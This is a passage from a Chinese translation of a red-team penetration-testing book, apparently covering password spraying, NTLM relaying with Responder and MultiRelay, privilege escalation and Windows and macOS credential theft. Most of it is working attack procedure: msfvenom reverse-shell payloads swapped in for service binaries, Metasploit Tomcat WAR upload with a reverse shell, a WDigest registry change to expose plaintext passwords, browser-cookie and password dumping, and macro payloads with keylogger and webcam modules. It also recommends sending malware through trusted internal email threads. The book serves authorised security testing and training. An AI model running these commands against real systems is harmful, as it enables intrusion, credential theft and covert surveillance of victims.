application/x-www-form-urlencodeddestination=https%3A%2F%2Fcyberspacekittens. com%2Fowa%2F&flags=4\n&forcedownlevel=0&username= sprayuser@cyberspacekittens.com&pass\nword= spraypassword&passwordText=&isUtf8=1\n如前所述，spray.sh的另一个优点是它支持SMB和Lync协议。另一个可以利用Spraying结果的工具叫作Ruler。Ruler是Sensepost编写的工具，允许您通过MAPI/HTTP或RPC/HTTP与Exchange服务器进行交互。虽然这里主要讨论使用Ruler进行暴力破解/信息搜集，但是这个工具还支持一些持久性攻击功能，我们将进行简要说明。\n我们可以利用的第一个功能类似于Spray工具，暴力破解用户名和密码。Ruler将接收用户名和密码列表，并尝试查找凭证，如图4.2所示。它将自动尝试获取Exchange配置以及凭证。下面运行Ruler。\nruler --domain cyberspacekittens.com brute --users ./users.txt --passwords ./passwords.txt。\n图4.2\n找到单个密码后，我们就可以使用Ruler工具，转储O365全局地址列表（GAL）中的所有用户，从而查找更多的电子邮件地址及其所属的电子邮件组，如图4.3所示。\n图4.3\n使用这些电子邮件地址，我们能够通过暴力破解工具，尝试登录所有账户，并找到更多凭证，这是密码的循环使用。但是，Ruler工具的主要功能是，一旦您拥有凭证，就可以利用Office/Outlook中的“功能”，在被攻击者的电子邮件账户上创建规则和表单。如果您决定不使用Outlook表单，或者功能已被禁用，那么我们可以随时重新使用电子邮件的攻击方式。这种方式让人感觉有点猥琐，因为您必须以其中一个用户身份登录并阅读所有电子邮件。通过阅读电子邮件，知道了一些好笑的事情之后，我们希望找到和用户彼此信任的人（但不是好朋友）的交流邮件。由于他们已经建立了良好的信任，因此我们希望利用这层关系并向他们发送恶意软件。通常，我们会修改其中一个邮件中的附件（如Office文件/可执行文件），然后重新发送给对方，但附件内容中包括我们定制的恶意软件。使用来自内部地址的可信连接和电子邮件将扩大攻击范围和成功率。\n本书反复提及的一点是，整个活动旨在测试蓝队的检测工具/流程。我们开展某项行动，了解蓝队是否能够发出警报或者取证并检测出发生的攻击事件。对于这部分行动，我喜欢验证目标公司是否能够发现有人正在获取用户的电子邮件。因此，我们所做的是使用Python脚本转储所有受感染的电子邮件。在许多情况下，这可能是千兆字节的数据！\n高级实验\n一个很好的练习是针对不同的身份验证类型服务、测试所有密码。尝试并构建一个密码喷射工具，用于对XMPP服务、常见第三方SaaS工具和其他常见协议进行身份验证测试。更好的方法是搭建多个虚拟主机，这些虚拟主机都由一个主服务器控制。\n4.2 在网络中移动\n作为红队，我们希望尽可能“安静”地访问网络。我们想基于这种“安静”的特性，查找和获取有关网络、用户、服务和其他各种信息。通常，在红队行动中，我们不希望在环境中运行任何漏洞扫描工具，甚至有时不想运行Nmap工具对内部网络进行扫描，这是因为许多公司的安全防护设备能够检测这些类型的扫描，并且很容易发现漏洞扫描程序的扫描动作。\n在本节中，您将重点关注访问Cyber Space Kittens网络，而不要引发任何检测。我们假设您已经以某种方式进入网络，并开始寻找您的第一组凭证或在用户的计算机上拥有一个Shell。\n设置环境——实验网络\n这部分是完全可选的，但是，由于微软公司版权许可问题，本书中没有任何预先安装的虚拟机实验环境，因此现在由您来建立一个“实验室”！\n真正了解攻击环境的唯一方法是自己重新构建环境。这使您可以更清楚地了解攻击的目标，攻击成功或者失败的原因，以及一些工具或流程的局限性。那么您需要搭建什么样的实验环境？根据客户的环境，您可能需要Windows和Linux（甚至可能是Mac）。如果您要攻击企业网络，则可能需要构建完整的活动目录（AD）网络。在下面的实验中，我们将讨论如何为本书中的所有示例构建一个实验环境。\n您在家创建的一个理想的Windows测试实验室，可能如下所示。\n域控制器-服务器：[Windows 2016域控制器]。\n网站服务器：[Windows 2016上的IIS服务器]。\n客户端计算机：[Windows 10] × 3和[Windows 7] × 2。\n所有客户端在VMWare Workstation上运行，最低配置为16 GB RAM和500 GB SSD硬盘。\n配置和创建域控制器如下所示。\n（1）微软公司发布的有关构建2016服务器的指南。\n（2）安装和配置活动目录（AD）后，使用以下命令创建用户和组：dsac.exe。\n创建多个用户。\n创建分组并分配用户。 \n空间组\n服务组\n实验组\n设置客户端计算机（Windows 7/Windows 10）并加入域。\n更新所有机器。\n将计算机加入域。\n确保为每个设备添加一个域用户，该域用户在设备中以本地管理员身份运行。这可以通过将该域用户添加到本地计算机的本地管理员组来完成。\n在每台主机上启用本地管理员并设置密码。\n设置GPO。\n禁用防火墙。\n禁用杀毒软件。\n禁用更新。\n将帮助台用户添加到本地管理员组。\n仅允许域管理员、本地管理员和帮助台用户登录。\n最后，在根域应用您的GPO。\n将操作系统的所有用户设置为自动登录（这只会使测试工作变得更加轻松）。在每次机器启动或重新启动时，用户都会自动登录，我们可以轻松地测试攻击效果，实现从内存中提取凭证。\n4.3 在没有凭证的网络上\n4.3.1 Responder\n就像之前的行动，我们使用Responder工具（可在GitHub网站搜索）监听网络和欺骗响应数据，从而获取网络上的凭证。回顾本书第2版的内容，当网络上的系统查找DNS主机名失败时，该被攻击者系统将链路本地多播名称解析（LLMNR）和Net-BIOS（NBT-NS）名称服务用于名称解析备份。当被攻击者主机无法通过DNS查询时，被攻击者开始询问网络上的主机是否可以解析该主机名。\n有一个简单且通用的例子：假设您的主机有一个固定加载驱动\\cyberspacekittenssecretdrive\\ secrets。有一天，IT部门从网络中删除了该共享驱动器，它已不再存在。由于主机仍然加载驱动器到服务器，因此系统将不断询问网络是否有主机知道驱动器的IP地址。现在，这个文件共享可能很难找到，由于网络中存在先前连接的系统的可能性很高，因此这个问题仍然会发生。我们已经从安装的驱动器、具有硬编码服务器的应用程序中看到这个问题，而且很多时候仅仅是配置错误。\n我们可以使用类似Responder的工具来利用那些寻找主机名的系统，并使用恶意服务器对其进行响应。更棒的是，Responder 工具可以更进一步，充当 Web 代理自动发现（WPAD）协议服务器，通过攻击者服务器代理所有的数据，但这是另外一种攻击方式。\ncd /opt/Responder。\n./Responder.py -I eth0 -wrf。\n现在，因为处于Windows企业环境中，所以可以假设Responder工具正在活动目录中运行。因此，如果响应来自受害主机的DNS查询，就可以让其连接到我们的SMB共享。由于它们连接到驱动器\\cyberspacekittenssecretdrive，因此我们将强制被攻击者使用NTLMv2凭证（或缓存凭证）进行身份验证，如图4.4所示。捕获的这些凭证不是直接的NTLM散列值，而是NTLM质询/响应散列值（NTLMv2-SSP）。NTLMv2-SSP散列值暴力破解的速度，比普通的NTLM散列值慢得多，但这不是大问题，因为我们可以使用大型破解设备实现破解（参见第8章）。\n图4.4\n我们可以输入NTLMv2散列，将其传递给hashcat工具，破解密码。在hashcat工具中，我们需要为NetNTLMv2指定散列格式“-m”。\nhashcat -m 5600 hashes\\ntlmssp_hashes.txt passwordlists/*。\n现在，假设我们真的不想破解散列，或者我们不介意弹出对话框（提醒用户此处可疑）。我们可以不使用NetNTLMv2鉴权方式，强制使用基本的鉴权方式，参数是F（ForceWpadAuth）和b（基本身份验证）。\npython ./Responder.py -I eth0 -wfFbv。\n从图4.5可以看出，系统将提示用户输入用户名和密码，大多数人都会不自觉地输入。一旦用户提交了凭证，我们就能以明文形式捕获凭证，如图4.6所示。\n图4.5\n图4.6\n4.3.2 更好的Responder（MultiRelay.py）\nResponder工具和破解NTLMv2-SSP散列的问题在于破解这些散列值所需的时间可能很长。更糟糕的是，在这个环境中，管理员的密码长度超过20个字符。那么，在这个场景中，我们能做些什么呢？\n如果目标没有强制执行SMB签名（可以使用快速Nmap脚本扫描找到它），那么我们可以使用一个小技巧，重放捕获的SMB请求。\nLaurent Gaffie在Responder中加入了一个工具来处理身份鉴权的重放攻击。在Per Laurent的网站上，Responder的工具文件夹中包含MultiRelay工具，它是一个强大的渗透测试程序，使您能够对选定的目标执行NTLMv1和NTLMv2中继攻击。目前，MultiRelay支持将HTTP、WebDav、代理和SMB身份验证协议中继到SMB服务器。该工具可以定制接收多个用户中继，仅针对域管理员、本地管理员或特权账户。\n从更高的层面来说，MultiRelay将根据我们的设置，转发身份鉴权请求到被攻击者主机，而不是强制被攻击者向我们的SMB共享发送身份鉴权请求。当然，该中继用户需要访问另一台机器；如果成功，我们不需要处理任何密码或暴力破解。首先，需要配置Responder和MultiRelay工具。\n编辑Responder配置文件，禁用SMB和HTTP服务器。 \ngedit Responder.conf\n将SMB和HTTP更改为“关闭”\n启动Responder工具。 \npython ./Responder.py -I eth0 -rv\n在新的终端窗口中启动MultiRelay。 \n/opt/Responder/tools\n./MultiRelay.py -t <target host> -c <shell command> -u ALL\n一旦中继到被攻击者主机的目标实现，如图4.7所示，就需要考虑在被攻击者主机上执行的内容。默认情况下，MultiRelay可以生成基本Shell，但我们也可以自动执行Meterpreter PowerShell静荷、Empire PowerShell静荷、dnscat2 PowerShell静荷、PowerShell下载脚本和执行C2代理、Mimikatz，或者只运行calc.exe工具。\n图4.7\n4.3.3 PowerShell Responder\n一旦突破了Windows系统，我们就可以使用PowerShell工具对被攻击者开展Responder攻击。早期的Responder的两个功能可以通过以下两个工具实现。\nInveigh。\nInveigh-Relay。\n为了使事情变得更加简单，所有这些工具都已经集成到Empire中。\n4.4 没有凭证的用户枚举\n一旦进入网络，我们就可以使用Responder工具获取凭证或Shell，但有时也会出现这种情况——目标启用SMB签名并且破解NTLMv2 SSP不可行。此时，我们可退后一步，从基本的攻击方式开始。在无法主动扫描网络的情况下，我们需要获得一个用户列表（可能是密码喷射甚至社会工程）。\n一种选择是开始针对域控制器枚举用户。从历史上看（早在2003年），我们可以尝试执行RID循环以获取所有用户账户的列表。虽然这种方法已经不可用，但还有其他选项可用于暴力破解账户。另一种选择是利用Kerberos，如图4.8所示。\nnmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm= \"cyberspacekittens. local\",userdb=/opt/userlist.txt<Domain Controller IP>。\n图4.8\n我们需要提供一个测试的用户名列表，但是由于只是查询域控制器并且不对其进行身份鉴权，因此这个操作通常不会被发现。现在，我们可以使用这些用户账户并再次进行密码喷射攻击！\n4.5 使用CrackMapExec（CME）扫描网络\n如果还没有突破的系统，但我们确实通过Responder、配置错误的网络应用程序、暴力破解或打印机获得了凭证，那么可以尝试扫描网络，查看账户可以登录的位置。使用像CrackMapExec（CME）等工具进行简单的扫描，可以帮助找到内部网络初始突破点。\n从已经取得的效果看，我们使用CME扫描网络，识别/验证网络上的SMB资源，在多个主机上远程执行命令，甚至通过Mimikatz提取明文凭证。Empire和CME提供新的功能，我们可以利用Empire的REST功能。在下面的场景中，我们将使用其REST API启动Empire，在CME中配置密码，将CME连接到Empire，使用掌握的单个凭证扫描网络，最后，如果通过身份鉴权，则自动推送Empire静荷到远程被攻击者的系统，如图4.9所示。如果您有帮助账户或特权账户，那么准备加载Empire shells吧！\n图4.9\n启动Empire的REST API服务器。 \ncd /opt/Empire\n./empire --rest –password 'hacktheuniverse'\n更改CrackMapExec密码。 \ngedit /root/.cme/cme.conf\npassword=hacktheuniverse\n运行CME，生成Empire Shell。 \ncme smb 10.100.100.0/24 –d 'cyberspacekittens.local' –u '<username>' – p '<password>' - M empire_exec -o LISTENER = http\n4.6 突破第一台主机\n通过社会工程、潜伏设备、Responder工具、攻击打印机或其他攻击方式，您获得了主机的访问权限，您接下来要做什么？这是一个难题。\n在过去，通常是了解所处的位置以及周围的网络。我们最初可能会运行类似于“netstat -ano”的命令来查找被攻击者服务器的IP地址范围、域和用户。我们还可以执行“ps”或“sc queryex type = service state = all | find”_NAME“”之类的命令列出所有正在运行的服务，并查找杀毒软件或其他主机保护。以下是最初可能运行的一些命令。\n网络信息。 \nnetstat -anop | findstr LISTEN\nnet group \"Domain Admins\"/domain\n进程列表。 \ntasklist/v\n系统主机信息。 \nsysinfo\nGet-WmiObject -class win32 operatingsystem | select -property * | exportcsv c:\\ temp \\ os.txt\nwmic qfe get Caption,Description,HotFixID,InstalledOn\n简单文件搜索。 \ndir/s *password*\nfindstr/s/n/i/p foo *\nfindstr/si pass * .txt | * .xml | * .ini\n共享/已安装驱动器的信息。 \npowershell -Command \"get-WmiObject -class Win32_Share\"\npowershell -Command \"get-PSDrive\"\npowershell -Command \"Get-WmiObject -Class Win32_MappedLogicalDisk | select Name，ProviderName\"\n其实绝大部分人并没有时间记住所有这些命令，幸运的是我们有RTFM一书（很棒的资源），leostat创建了一个快速的Python脚本，包含大量这样的命令，可以在一个名为rtfm.py的工具中轻松搜索。\n更新并运行RTFM。 \ncd /opt/rtfm\nchmod + x rtfm.py\n./rtfm.py -u\n./rtfm.py -c 'rtfm'\n搜索所有标签。 \n./rtfm.py -Dt\n查看每个标签的查询/命令。我喜欢使用枚举类别，如图4.10所示。 \n./rtfm.py -t enumeration | more\n现在，RTFM 包含的命令非常丰富，并且这些命令都很实用。这对于任何行动来说是非常好的资源。\n这些都是我们为了获取信息而一直在做的事情，但是如果我们能从环境中获得更多信息呢？使用PowerShell，我们可以获得所需的网络/环境信息。由于PowerShell可以在任何命令和控制工具中轻松执行，因此您可以使用Empire、Metasploit或Cobalt Strike来做这些实验。在以下示例中，我们将使用Empire，但您也可以尝试使用其他工具。\n图4.10\n4.7 权限提升\n从常规用户升级到特权账户有很多不同的方法。\n下面介绍一下不带引号的服务路径漏洞。\n这是一个相当简单和常见的漏洞，服务可执行文件路径未被引号括起。因为在路径周围没有引号，所以我们可以利用这个服务。假设我们有一个配置为执行C:\\Program Files (x86)\\Cyber Kittens\\Cyber Kittens.exe的服务。如果具有Cyber Kittens 文件夹写权限，那么我们可以将恶意软件放到目录 C:\\Program Files (x86)\\Cyber Kittens\\Cyber.exe（注意，缺少 Kittens.exe）。如果服务随系统启动执行，我们可以等到服务重新启动，并将恶意软件以特权账户运行。\n如何查找易受攻击的服务路径。 \nwmic service get name,displayname,pathname,startmode |findstr/i \"Auto\" |findstr/i/v \"C:\\Windows\\\" |findstr/i/v \"\"\"\n查找BINARY_PATH_NAME\n查找不安全的服务注册表权限。\n识别允许更新服务映像路径位置的权限漏洞。\n检查AlwaysInstallElevated注册表项是否启用。\n检查AlwaysInstallElevated注册表项，该注册表项标识是否使用提升的权限安装.MSI文件（NT AUTHORITY \\ SYSTEM）。\n请注意，我们并不需要手动执行这些操作，Windows中的Metasploit和PowerShell工具模块已经实现该功能。在下面的示例中，我们将介绍PowerUp PowerShell脚本。在这种情况下，脚本随着Empire一起运行，并将检查所有常见的错误配置区域，找到允许常规用户获取本地管理或系统账户的漏洞。在图4.11所示的示例中，我们在被攻击者系统中运行脚本，并发现本地系统存在未加引号的服务路径漏洞。现在，我们可能无法重新启动该服务，但我们应该能够利用此漏洞并等待重新启动。\nEmpire通电模块。 \nusermodule privesc/powerup/allchecks\n立刻显示的内容。\nServiceName : WavesSysSvc\nPath : C:\\Program\nFiles\\Waves\\MaxxAudio\\WavesSysSvc64.exe \nModifiableFile : C:\\Program\nFiles\\Waves\\MaxxAudio\\WavesSysSvc64.exe\nModifiableFilePermissions : {WriteOwner, Delete, WriteAttributes, Synchronize...}\nModifiableFileIdentityReference : Everyone\nStartName : LocalSystem\n对于WavesSysSyc服务，似乎每个用户都具有写权限，这意味着可以用恶意二进制文件替换WaveSysSvc64.exe文件。\n图4.11\n创建Meterpreter二进制文件（稍后将讨论如何绕过杀毒软件）。 \nmsfvenom -p windows/meterpreter/reverse_https LHOST = [ip] LPORT = 8080 -f exe> shell.exe\n使用Empire上传二进制文件并替换原始二进制文件。 \nupload ./shell.exe C:\\users\\test\\shell.exe\nshell copy C:\\users\\test\\Desktop\\shell.exe \"C:\\ProgramFiles\\Waves\\MaxxAudio\\ WavesSysSvc64.exe\"\n重新启动服务或等待系统重新启动。\n一旦服务重新启动，Meterpreter Shell将具有系统权限！使用PowerUp，您会发现许多容易受到权限提升影响的服务。\n对于未修补的Windows系统，确实存在权限提升漏洞，但是如何快速识别Windows系统上安装的补丁？我们可以在被攻击者系统上，使用默认命令来查看安装了哪些服务包。利用Windows内置命令“systeminfo”，可以获取Windows主机所有修补程序历史记录。根据命令输出，将这些历史记录推送到Kali系统中，运行Windows Exploit Suggester来查找针对这些漏洞的漏洞利用程序，如图4.12所示。\n图4.12\n返回Windows 10被攻击者系统。\nsysteminfo。\nsysteminfo > windows.txt。\n将windows.txt复制到Kali系统的/opt/Windows-Exploit-Suggester目录。\npython ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls。\n这个工具已经一段时间没有主动更新了，但您可以轻松找到权限提升漏洞。\n如果在一个已打好补丁的Windows环境中，我们会关注第三方软件中的权限提升漏洞或操作系统的任何0-day/新漏洞。例如，我们一直在挖掘Windows中的权限提升漏洞，漏洞在本书写作之时未打补丁。在这种情况下，通常可能存在一些基本的漏洞演示代码，但是我们需要测试，验证并多次完成攻击。我们定期检测公共权限提升漏洞的一些区域。\n通常，这只是时间问题。例如，从发现漏洞到打上补丁，您只有有限的时间和机会可以突破系统。\n4.7.1 权限提升实验\n测试和尝试不同权限提升漏洞的较好的实验环境是Metasploitable3，由Rapid7提供。这个存在漏洞的框架会自动构建一个Windows虚拟机，包含了所有常见漏洞和一些不常见的漏洞。它需要进行一些设置，但是虚拟机配置完成后，它就是一个很棒的测试实验环境。\n下面介绍一个示例，帮助您快速入门。\n使用Nmap工具扫描Metasploitable3设备（确保扫描所有端口，否则可能遗漏一些端口）。\n您将在端口8383上看到ManageEngine正在运行。\n启动Metasploit并搜索任何ManageEngine漏洞。 \nmsfconsole\nsearch manageengine\nuse exploit/windows/http/manageengine_connectionid_write\nset SSL True\nset RPORT 8383\nset RHOST <Your IP>\nexploit\ngetsystem\n您会发现无法访问系统，因为受到攻击的服务不是特权进程。您可以在此处尝试所有不同的权限提升攻击方式。\n我们发现Apache Tomcat作为特权进程正在运行。如果利用该服务，那么我们的静荷将以高权限执行。Apache Tomcat运行在端口8282上，但访问需要用户名和密码。由于已经有一个用户Shell，因此我们可以尝试在磁盘上搜索密码。我们可以在互联网中搜索“Where are Tomcat Passwords Stored”，结果是tomcat-users.xml。\n在被攻击者设备中，搜索和读取tomcat-users.xml文件。 \nshell\ncd \\ && dir/s tomcat-users.xml\ntype \"C:\\Program Files\\Apache Software Foundation\\tomcat\\apache-tomcat-8.0.33\\conf\\tomcat-users.xml\"\n现在使用获取的密码攻击Tomcat。首先，登录到端口8282上的Tomcat管理控制台，查看密码是否正常工作。然后使用Metasploit，通过Tomcat部署恶意WAR文件。 \nsearch tomcat\nuse exploit/multi/http/tomcat_mgr_upload\nshow options\nset HTTPusername sploit\nset HTTPpassword sploit\nset RPORT 8282\nset RHOST <Metasploitable3_IP>\nset Payload java/shell_reverse_tcp\nset LHOST <Your IP>\nexploit\nwhoami\n您现在具有系统权限。我们使用第三方工具将权限提升到系统权限。\n4.7.2 从内存中提取明文文本凭证\nMimikatz 工具已经存在了一段时间，在获取明文密码方面改变了游戏规则。在Windows 10之前，在主机上以管理员身份运行Mimikatz工具，攻击者可以从LSASS（本地安全子系统）中提取明文密码。这种方法非常有效，直到Windows 10出现，即使本地管理员也无法读取明文密码。现在，我看到一些有趣的用法，单点登录（SSO）或一些特殊的软件将密码放在LSASS中，Mimikatz 可以读取密码，但我们现在不考虑这种情况。在本章中，我们将讨论当Mimikatz工具不起作用时该怎么做（如在Windows 10操作系统中）。\n假设您已经突破了Windows 10工作站，并将权限提升为本地管理员。在默认情况下，您可以启动Mimikatz，输入下面的查询命令，查看密码字段，发现为null，如图4.13所示。\n图4.13\n那么，您可以做什么？比较简单的选择是设置注册表项，将密码放到LSASS中。在HKLM中，有一个UseLogonCredential项，如果设置为0，则会将凭证存储在内存中。\nreg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest/v UseLogonCredential/t REG_DWORD/d 1/f。\n使用Empire工具，我们可以在Shell中运行这个命令。 \nshell reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\ WDigest/v UseLogonCredential/t REG_DWORD/d 1/f\n这样设置的问题是我们需要用户重新登录系统。这可能导致屏幕超时、重新启动或注销，然后您才可以再次捕获明文凭证。比较简单的方法是锁定工作站（这样它们就不会丢失任何工作……）。触发锁定屏幕操作如下。\nrundll32.exe user32.dll，LockWorkStation。\n一旦导致锁定屏幕，并且用户重新登录，我们就可以重新运行Mimikatz获取明文密码，如图4.14所示。\n图4.14\n如果我们无法获得本地管理账户怎么办？有什么其他方法获取用户的凭证？回想之前的方法，常见的测试攻击需要查看胖客户端的用户空间内存，查看能否发现明文形式的凭证。现在一切都是基于浏览器的，我们可以在浏览器中做同样的事情吗？\n安全研究人员putterpanda提供了一个很不错的原型验证风格工具来实现这个功能，该工具称为Mimikittenz。Mimikittenz工具的功能是利用Windows函数ReadProcessMemory()从各种目标进程（如浏览器）中提取纯文本密码。\nMimikittenz为Gmail、Office 365、Outlook Web、Jira、GitHub、Bugzilla、Zendesk、Cpanel、Dropbox、Microsoft OneDrive、AWS Web Services、Slack、Twitter和Facebook提供了大量内存搜索查询的方法。您也可以在Mimikittenz中轻松地设计出自己的搜索方法。\nMimikittenz 的最大优点是它不需要本地管理员访问权限，因为它访问的是所有用户空间内存。一旦突破了主机，我们就可以将Mimikittenz导入内存，然后运行Invoke- mimikittenz脚本。\n如图4.15所示，用户使用Firefox浏览器登录到GitHub，我们可以从浏览器的内存中提取用户名和密码。现在，我希望每个进行模拟攻击的读者都可以将此工具提升到新的水平，并为不同的应用程序创建更多的搜索查询方法。\n图4.15\n4.7.3 从Windows凭证存储中心和浏览器中获取密码\nWindows凭证存储中心是Windows的默认功能，它为系统、网站和服务器保存用户名、密码和证书。当您使用Microsoft IE/Edge对网站进行身份验证时，通常会弹出一个提示“是否要保存密码？”的窗口。凭证存储中心是存储密码的地方。在证书管理器中，有两种类型的凭证：网站和Windows。您记得什么用户有权访问这些数据吗？不是系统用户，而是登录的用户可以获取此信息，如图4.16所示。这对我们来说很有利，就像任何网络钓鱼或代码执行攻击一样，我们通常具有被攻击者的权限。我们甚至不需要成为本地管理员就可以提取这些数据。\n图4.16\n如何提取这些信息？我们可以导入两个不同的PowerShell脚本来搜集这些数据，如图4.17所示。\n获取网站凭证。\n获取Windows凭证（类型仅是常用主机，而不是域主机）。\n正如您从转储数据中看到的那样，我们同时提取了Facebook凭证以及内存中存储的任何通用凭证。请记住，对于网站凭证，Get-WebCredentials仅从Internet Explorer/Edge获取密码。如果我们需要从Chrome中获取凭证，那么可以使用Empire静荷powershell/collection/ ChromeDump。为了让ChromeDump脚本工作，您首先需要终止Chrome进程，然后运行ChromeDump。最后，我喜欢提取所有浏览器历史记录和Cookie。我们不仅可以了解它们的内部服务器，而且，如果会话仍然存在，那么我们可以使用Cookie并在不知道密码的情况下进行身份鉴权！\n图4.17\n如图4.18所示，使用PowerShell脚本，我们可以提取所有浏览器Cookie，并在我们的浏览器中使用这些Cookie，所有这些都不需要提升权限。\n图4.18\n接下来，我们甚至可以开始在被攻击者系统上安装的所有第三方软件中查找服务器和凭证。SessionGopher工具可以从WinSCP、PuTTY、SuperPuTTY、FileZilla和Microsoft远程桌面获取主机名和保存的密码。这个工具的另外一个功能是能够从网络上的其他系统远程获取本地凭证。启动SessionGopher的简单方法是导入PowerShell脚本并使用以下命令执行。\n导入PowerShell文件。 \n. .\\SessionGopher.ps1\n执行SessionGopher工具。 \nInvoke-SessionGopher -Thorough\n我们从主机系统获取凭证的这些方法，无须权限提升、绕过UAC或运行键盘记录器。由于处在用户环境中，因此我们可以访问主机的许多资源，从而帮助我们继续渗透。\n4.7.4 从macOS中获取本地凭证和信息\n本书中的大多数横向移动都集中在Windows，这是因为几乎所有大中型单位都使用活动目录管理系统和主机。我们可能会越来越多地遇到Mac主机，因此在本书内容中也包括Mac主机。一旦进入Mac主机环境，许多攻击就与Windows的情况类似了（举个例子，扫描默认口令、Jenkin/应用程序攻击、嗅探网络以及通过SSH或VNC横向移动）。\n在Empire中，有一些macOS的静荷也是我比较喜欢的工具。Empire可以生成多个静荷，诱骗被攻击者执行我们的代理。这些静荷包括ducky脚本、应用程序、Office宏、Safari启动器和pkgs等。例如，我们可以在PowerShell Empire中创建一个Office宏，类似于在Windows中所做的，如图4.19所示。\n（1）启动Empire。\n（2）首先，确保像我们在本书开头介绍的那样设置您的Empire监听器。\n（3）接下来，构建一个macOS宏静荷。\nusestager osx/macro\n（4）设置OutFile，写入您的本地文件系统。\nset OutFile/tmp/mac.py\n（5）生成静荷。\n图4.19\n如果查看生成的Office宏，那么您将看到它采用Base64代码，由Python执行。对我们来说，幸运的是，Python是macOS上的默认应用程序，当执行Office宏时，我们应该获得代理回连。\n在macOS中创建恶意的Excel文件，我们打开新的Excel工作表，转到工具，查看宏，在此工作簿中创建宏，当Microsoft Visual Basic打开时，删除所有当前代码并将其替换为所有新的宏代码。最后，将其另存为xlsm文件，如图4.20所示。\n图4.20\n现在，将恶意文件发送给被攻击者，并查看Empire代理回连到系统。在被攻击者方面，当他们打开Excel文件时，显示的内容如图4.21所示。\n图4.21\n您要确保提供一个合理的理由，让被攻击者单击启用宏。\n一旦代理回连到您的Empire服务器，侦查阶段的操作就非常相似了。我们需要执行以下操作。\n转储浏览器信息和密码：usemodule collection/osx/browser_dump。\n启用键盘记录：usemodule collection/osx/keylogger。\n应用程序弹出对话框捕获密码：usemodule collection/osx/prompt。\n使用他们的相机拍摄照片：usemodule collection/osx/webcam。\n4.8 工作在Windows域环境中\n同样，在下面的示例中，我们将使用PowerShell Empire。但是，您也可以使用Metasploit、Cobalt Strike或类似的工具进行同样的攻击。只要您能够将PowerShell脚本导入内存并避开主机系统的安全防护机制，使用什么工具并不重要。\n既然您已经突破了被攻击者的主机，从他们的工作站获取了所有秘密，掌握了被攻击者浏览的一些网站，并执行了一些netstat风格的侦查……下一步要做什么呢？\n红队真正关心的是在服务器、工作站、用户、服务以及活动目录中是否可以搜索可靠的信息。在很多情况下，由于存在报警/捕获的风险，因此我们无法运行任何漏洞扫描工具（甚至Nmap扫描工具）。那么，如何利用网络和服务的“功能”，找到我们需要的所有信息呢？\n4.8.1 服务主体名称（SPN）\n服务主体名称（SPN）是Windows中的一项功能，允许客户端唯一标识服务实例。Kerberos身份鉴权使用SPN功能，将服务实例与服务登录账户相关联。举个例子，一个SPN对应一个服务账户，此服务账户运行MS SQL服务器、HTTP服务器和打印服务器等的SPN。对于攻击者，查询SPN是枚举阶段的重要部分，这是因为任何域用户账户都能够查询活动目录，获取关联的所有服务账户/服务器。我们可以识别所有数据库和网站服务器，甚至一台主机都不需要扫描！\n作为攻击者，我们可以利用这些“功能”查询活动目录。在任何加入域的计算机上，攻击者都可以运行setspn.exe文件来查询活动目录。此文件是默认的Windows二进制文件，存在于所有Windows系统中。\nsetspn -T [DOMAIN] -F -Q */*。\n参数如下。 \n-T：查询指定域\n-F：查询活动目录林，而不是域\n-Q：在目标域或者目标林执行\n*/*：所有内容\n我们可以从Setspn查询中获得什么类型的信息？如图4.22所示，运行setspn命令，我们看到有关域控制器上运行服务的信息和工作站的信息，我们还找到了一台名为CSK-GITHUB的服务器。在这个例子中，我们可以看到在该服务器上运行了HTTP服务。即使是在不同的端口上，如果仍然是HTTP，那么该信息也将被列出。\nSetspn不仅会提供有关服务用户和活动目录中所有主机名的有用信息，还会告诉我们系统中运行的服务甚至端口号。如果可以直接从活动目录中获取服务甚至端口的大部分信息，那么我们为什么要扫描网络？Jenkins、Tomcat和ColdFusion，什么是您可能立即攻击的目标？\n图4.22\n4.8.2 查询活动目录\n我多次获得一个域账户和密码，却被管理员告知这只是一个没有其他权限的域账户。我们可以在打印机、共享信息工作站、带有服务密码的平面文件文本、配置文件、iPad、Web应用程序页面源中包含密码的地方，找到这种类型的域账户。对于不是其他组成员的基本域账户，您可以做些什么？\n获取有关活动目录用户的详细信息\n我们可以使用@ harmj0y创建的、名为PowerView的工具，帮助我们完成所有琐碎的工作。PowerView使用PowerShell脚本，可在Windows域上获得网络态势感知信息。它包含一组纯PowerShell脚本，可以替换各种Windows“net *”命令，它使用PowerShell AD挂钩和底层Win32 API函数，实现各种有用的Windows域功能。作为攻击者，我们可以利用PowerView和PowerShell查询活动目录，活动目录中最低权限的用户——“域用户”即可完成任务，根本不需要本地管理员权限。\n让我们来看看这个低级别用户可以获得什么样的数据。首先，运行Empire（您可以使用Metasploit、Cobalt Strike或类似的工具完成相同的任务）并在被攻击者系统上执行静荷。如果您之前从未设置过Empire，那么可查看有关Empire和Empire静荷设置的章节。一旦代理与命令和控制服务器通信，我们就可以输入“info”来查找有关被攻击者主机的信息。目前，我们在cyberspacekitten域中突破了Windows 10系统主机，主机已经打上了完整的Windows补丁，用户名为neil.pawstrong，如图4.23所示。\n图4.23\n接下来，我们想要在域中查询信息，并且要避免引起太多怀疑。我们可以使用Empire中的PowerView工具获取信息。PowerView查询域控制器（DC）以获取有关用户、组、计算机等各种信息。我们使用PowerView功能查询域控制器，并且应该看起来像普通流量一样。\nEmpire中有一些模块可用于态势感知，如图4.24所示。\n图4.24\n我们开始使用PowerView中的get_user脚本。Get_user查询指定域中特定用户或所有用户的信息，如图4.25所示。使用默认设置，我们可以转储有关域控制器中用户以及相关的所有信息。\n模块：situational_awareness/network/powerview/get_user。\n图4.25\n在上面的转储中，可以看到其中一个用户Purri Gagarin的信息。我们得到了什么类型的信息？我们可以看到samaccountname用户名、密码更改的时间、对象类别是什么，以及他们是哪些组的成员和最后登录的时间等。通过这些基本用户信息转储，可以从目录服务中获取大量信息。我们还可以获得哪些其他类型的信息？\n模块：situational_awareness/network/powerview/get_group_member。\nGet_group_member返回特定组的成员，设置“Recurse”参数能够找到所有有效的组成员。我们可以使用活动目录查找某些组的特定用户。例如，通过以下Empire设置，我们可以搜索所有域管理员和属于域管理员组的分组，如图4.26所示。\ninfo。\n设置身份“域管理员”。\n设置Recurse True。\n设置FullData 